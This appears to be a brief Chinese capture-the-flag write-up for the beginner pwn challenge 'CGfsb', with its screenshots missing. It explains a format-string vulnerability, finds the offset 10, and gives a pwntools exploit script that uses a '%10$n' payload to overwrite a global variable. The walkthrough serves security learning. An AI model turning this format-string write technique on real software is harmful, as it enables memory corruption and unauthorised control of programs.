新手练习02-CGfsb

image.png

格式化字符串修改任意地址的值，首先找偏移

image.png

偏移为10，接下来就可以修改pwnme的值为8
exp:

#10
from pwn import *
p = process('./cgfsb')
# p = remote("111.198.29.45","30991")
pwnme = 0x804a068
p.recvuntil(':')
p.sendline("n0va")
p.recvuntil(":")
payload = p32(pwnme) + 'aaaa' + '%10$n'
# payload = 'AAAA'
gdb.attach(p,"b *0x080486C1\nc")
pause()
p.sendline(payload)
p.interactive()